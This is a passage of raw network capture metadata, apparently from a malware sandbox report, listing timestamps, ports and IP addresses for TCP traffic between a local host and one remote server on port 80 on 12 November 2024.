Nov 12, 2024 10:37:07.236130953 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236159086 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236172915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236239910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236272097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236304045 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236319065 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236335993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236373901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236399889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236432076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236438990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236466885 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236577034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236615896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236666918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236679077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236711025 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236728907 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.236756086 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.236794949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.273192883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273241997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273256063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273277044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273330927 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.273346901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273360968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273375034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.273375034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.273399115 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.273561954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273596048 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.273603916 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.273622036 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273634911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.273664951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.273680925 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.320672035 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.320713997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.320725918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.320736885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.320753098 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.320772886 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353240013 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353271008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353285074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353296995 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353312969 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353334904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353384972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353399992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353425026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353447914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353491068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353529930 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353593111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353605986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353632927 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353652000 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353744030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353758097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353770971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.353785038 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353816986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.353852034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.354376078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.354399920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.354437113 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.354449987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.390160084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390175104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390187025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390240908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390254021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390265942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390285969 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.390459061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.390618086 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390662909 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.390702009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390713930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.390743017 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.390783072 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.437714100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.437731028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.437743902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.437819958 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.437869072 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.470880032 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.470906019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.470916986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.470930099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.470941067 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.470966101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.471009016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.471048117 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.471050024 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.471060991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.471086025 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.471097946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.471177101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.471218109 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.471532106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.471575975 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.471693039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.471713066 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.471725941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.471735954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.471745968 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.471764088 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.472055912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.472101927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.472103119 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.472115040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.472138882 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.472151041 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.507112980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507174015 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.507261992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507273912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507286072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507297993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507309914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507317066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.507365942 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.507654905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507695913 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.507729053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507740974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.507774115 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.507788897 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.554649115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.554805994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.554863930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.554874897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.554884911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.554904938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.554930925 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.588128090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588148117 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588164091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588176012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588187933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588200092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588212967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588262081 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.588386059 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588418961 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.588907003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588936090 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.588947058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.588956118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588968039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.588998079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.589010000 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.589204073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.589246988 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.589302063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.589313984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.589340925 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.589370012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.624618053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624639034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624655008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624666929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624679089 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624705076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.624732018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624746084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624758005 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624759912 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.624773026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.624780893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.624805927 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.624830008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.625401974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.625425100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.625447989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.625458956 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.671896935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.672038078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.672050953 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.672054052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.672086000 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.672103882 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.705435991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705461025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705475092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705486059 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705498934 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705528021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705538034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.705617905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705631018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705699921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.705699921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.705699921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.705759048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705771923 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.705813885 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.705827951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.706250906 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.706288099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.706300020 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.706310987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.706327915 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.741601944 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741628885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741642952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741700888 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741766930 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.741785049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.741789103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741803885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741831064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.741852999 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.741940975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741955996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741971016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.741986036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.741997957 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.742018938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.742361069 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.742372990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.742412090 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.789110899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.789133072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.789145947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.789227962 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.789273977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.822197914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822228909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822242022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822276115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822299004 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.822340012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.822422028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822434902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822463036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.822498083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.822519064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822535038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822568893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.822597027 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.822947025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.822999954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.823016882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.823029995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.823059082 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.823076963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.823133945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.823170900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.823461056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.823483944 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.823512077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.823525906 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.858650923 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.858685017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.858697891 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.858710051 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.858728886 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.858791113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.858805895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.858818054 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.858830929 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.858860016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.858889103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.858905077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.858928919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.858954906 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.859009027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.859047890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.859406948 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.859455109 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.859466076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.859478951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.859503984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.859515905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.859649897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.859663963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.859689951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.859702110 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.906244993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.906263113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.906275988 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.906315088 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.906337023 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.939291000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939332008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939364910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939389944 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939395905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.939404011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939415932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.939415932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939459085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.939574957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939624071 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.939644098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939656019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939692974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.939973116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.939999104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.940011024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.940022945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.940052986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.940169096 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.940181017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.940221071 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.975603104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.975624084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.975636005 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.975716114 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.975948095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976001978 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976011992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976026058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.976053953 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.976113081 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976125002 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976170063 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.976241112 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976289034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.976438046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976486921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.976512909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976525068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976562977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.976639986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976653099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.976691008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.977255106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.977266073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.977310896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.023552895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.023576975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.023590088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.023710012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.023710012 CET	49709	80	192.168.2.6	185.215.113.206
